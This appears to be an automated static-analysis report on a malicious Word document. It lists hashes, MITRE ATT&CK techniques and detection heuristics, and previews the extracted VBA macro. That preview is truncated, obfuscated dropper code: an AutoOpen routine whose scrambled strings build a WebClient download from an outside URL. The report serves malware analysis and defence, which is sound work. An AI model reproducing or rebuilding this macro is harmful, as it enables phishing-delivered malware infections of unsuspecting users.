Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9edcf61b67ade051…

MALICIOUS

Office (OLE)

229.5 KB Created: 2017-12-21 05:50:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 720e05f61471f2ff7bff7143151633db SHA-1: b5b796a3fdfaf75fa2223746ed0618719e1abb5f SHA-256: 9edcf61b67ade051bcbe5b89916701941d05a2f2d7f3253d4dc67886eef72760
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function, indicating an intent to execute external commands or download additional payloads. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further suggests a dropper or phishing lure functionality.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hoQSO+QSOmeifEN In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87640 bytes
SHA-256: 1df66e8f1066ed35139c1cd60c328b50a1dae8f855e8a6174a6e157a7ce75993
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AuDHUzEIDpzjo"
Sub AutoOpen()
On Error Resume Next
PDqsBRFvj = (2772 * CStr(CKfKbmOILYBF * Rnd(mzEWAfBlUbZcWk)) / 1988 / ChrB(pqbJnDNNiUfIm * CBool(136465363 - CDbl(IQZKGDt + vFQiwhiFiFBaTU)))) + (179478542 / Fix(982) - sSsZlaCUWOkMLA * Fix(PhusvWtIH + Log(iYlaGLhnShr)))
NiHWtluQM = (2772 * CStr(XFQpUjbZbz * Rnd(ltHBRtPC)) / 1988 / ChrB(YsSaCCm * CBool(136465363 - CDbl(BkzsuLHTUl + fGOriiblAUcr)))) + (179478542 / Fix(982) - NKwimqnStFX * Fix(zRrhAhwIdXvKA + Log(raRmAZtUikPc)))
hiwUlBrBi = (2772 * CStr(kDznfjBpP * Rnd(dBwNAHEzwfmG)) / 1988 / ChrB(XASKJltTz * CBool(136465363 - CDbl(apOmNuK + oVdzfflTi)))) + (179478542 / Fix(982) - tEDiikcmNZsEVS * Fix(zXXmUrDmMzl + Log(YUmZpHzZuwwLd)))
KajlakALU = (2772 * CStr(INhJFqSrhsv * Rnd(RbzDwXt)) / 1988 / ChrB(BbMJKQWAmMld * CBool(136465363 - CDbl(piLIwsi + HPShGJElXoc)))) + (179478542 / Fix(982) - lihAXzoTR * Fix(UGRAczo + Log(ziKHtLtbDHSPOX)))
Application.Run "QLhiUkRzAGpNkI", BCfzXZPttVA
JLSLzLkzE = (2772 * CStr(KCuLPFjHz * Rnd(qzHdkVGwvhB)) / 1988 / ChrB(qzzFiRA * CBool(136465363 - CDbl(KwauzrRiLwa + RmjLDoac)))) + (179478542 / Fix(982) - oDWNHMz * Fix(KXPHUSsWN + Log(tDYkzGrlDQm)))
BtqYYWuEj = (2772 * CStr(iUUBaKDzTooqJ * Rnd(YfDGQWWIjbId)) / 1988 / ChrB(jvwzSjpOjE * CBool(136465363 - CDbl(WvnnkbzLkJzt + onKUWnstw)))) + (179478542 / Fix(982) - UBWrWKTTpaTj * Fix(iiYFdztQjC + Log(IiWUsvLqaKT)))
mNkbAQpKS = (2772 * CStr(ETblziPvDVkwti * Rnd(ozatOdJKPvKUB)) / 1988 / ChrB(caZkiDKvjuNwuW * CBool(136465363 - CDbl(ioUCkMRPQDVvJ + qnONzavL)))) + (179478542 / Fix(982) - OijsPjfSj * Fix(VjHqRRjLKIjI + Log(BjsHziuw)))
sXZFYDTBj = (2772 * CStr(lmInfiwwwPOk * Rnd(hFVfJXY)) / 1988 / ChrB(joqdIhksNPK * CBool(136465363 - CDbl(XvWzNDKKCmi + HTsADYKiKEBz)))) + (179478542 / Fix(982) - KWBMEizEJ * Fix(mjVSGMOdzJIV + Log(pkpoFfRStYhCj)))
End Sub
Function BCfzXZPttVA()
On Error Resume Next
JLAXQrdk = (2772 * CStr(pajfJBs * Rnd(uJCzPJF)) / 1988 / ChrB(kjmdkaqZHwoYQA * CBool(136465363 - CDbl(tJIlLIflwaH + kAqfzhDOO)))) + (179478542 / Fix(982) - TROkKYMMTkt * Fix(JqGYtmFwpCcL + Log(ZRRrrNm)))
iKCbc = (2772 * CStr(Ejkorjaf * Rnd(UnMntOmozs)) / 1988 / ChrB(DwIAwEo * CBool(136465363 - CDbl(vXZDcLvWqdltdz + wZKMdBzEQtjIF)))) + (179478542 / Fix(982) - jrnvikwukjc * Fix(svLOzZGFLamsKu + Log(TJJtCqvGmzwwMw)))
oFuzKCQ = Mid("Pu7tt2X77Tl7ZcfKa6ACP3COSDjSO+QSOWebCliQSO+QSOentQSO+QSO;QSO+QSOfNfEN+fEN'+'lQSO+QS4KQ", 28, 56)
nuBZimhPuU = (2772 * CStr(SqqWbwHZ * Rnd(GXVBrzYZnQJQ)) / 1988 / ChrB(QoCdlGuVcWHW * CBool(136465363 - CDbl(AQBSowYGvFqEh + sRDwdwhZB)))) + (179478542 / Fix(982) - zMAiOiANfB * Fix(IYVcLriUjLZDoC + Log(YadZIaO)))
aLzTi = (2772 * CStr(iErwpjidbGI * Rnd(HNoUHBXjzHiv)) / 1988 / ChrB(UjAprncl * CBool(136465363 - CDbl(dMJpisDKitH + QXzjrOjBiXWw)))) + (179478542 / Fix(982) - UwinkSjAijbKR * Fix(fdmZonbDL + Log(GAZvjwG)))
HHccTjNjj = (2772 * CStr(UbzusRFcZjSk * Rnd(iUSEDESHYJLcKG)) / 1988 / ChrB(jFsYuqBANwm * CBool(136465363 - CDbl(djzWWRK + FLVFVvawSlSiL)))) + (179478542 / Fix(982) - tTotqDhTEHQ * Fix(oYYmoKA + Log(UYknDwPEi)))
HGaWWVkjEJK = Mid("ViswzYqRiVfENSO+fEN+fENQSO7xl/,'+'http://hoQSO+QSOmeifEN'+'+fENnQSO+QSOspectiQSO+QSOo'+'nsouthernutahQSO+QSO.com/QSO+QSORVrIZVQSO+QSOu/,QSOfEN+fEN+QSOhttQfEN+fENSO4Vm9LVS", 11, 153)
fjzzAj = (2772 * CStr(MBNvUWwabimnY * Rnd(ZvBYrzhJMQ)) / 1988 / ChrB(hhjtkRfdkzQF * CBool(136465363 - CDbl(IPaNMtRXciai + KGIIDowJnpOhqQ)))) + (179478542 / Fix(982) - KnaJqQQc * Fix(TwTzNFzJOp + Log(YVbucIa)))
zvjusitwEp = (2772 * CStr(nRHUYNSIkFd * Rnd(hVkuVfS)) / 1988 / ChrB(SDhLkapIYbbF * CBool(136465363 - CDbl(VdhFXRmWzonwQ + miIFZGjIkjv)))) + (179478542 / Fix(982) - zXKjJdXQMsCo * Fix(OjNVPtPTuDZQWC + Log(JMtzKmTPMNiJYz)))
uTZTmoRKCa = (2772 * CStr(ZMjWcJNoHR * Rnd(duilpHUwwhqFS)) / 1988 / ChrB(KjpLjjh * CBool(136465363 - CDbl(vCKnaqqzQrraL + ujmmHL
... (truncated)

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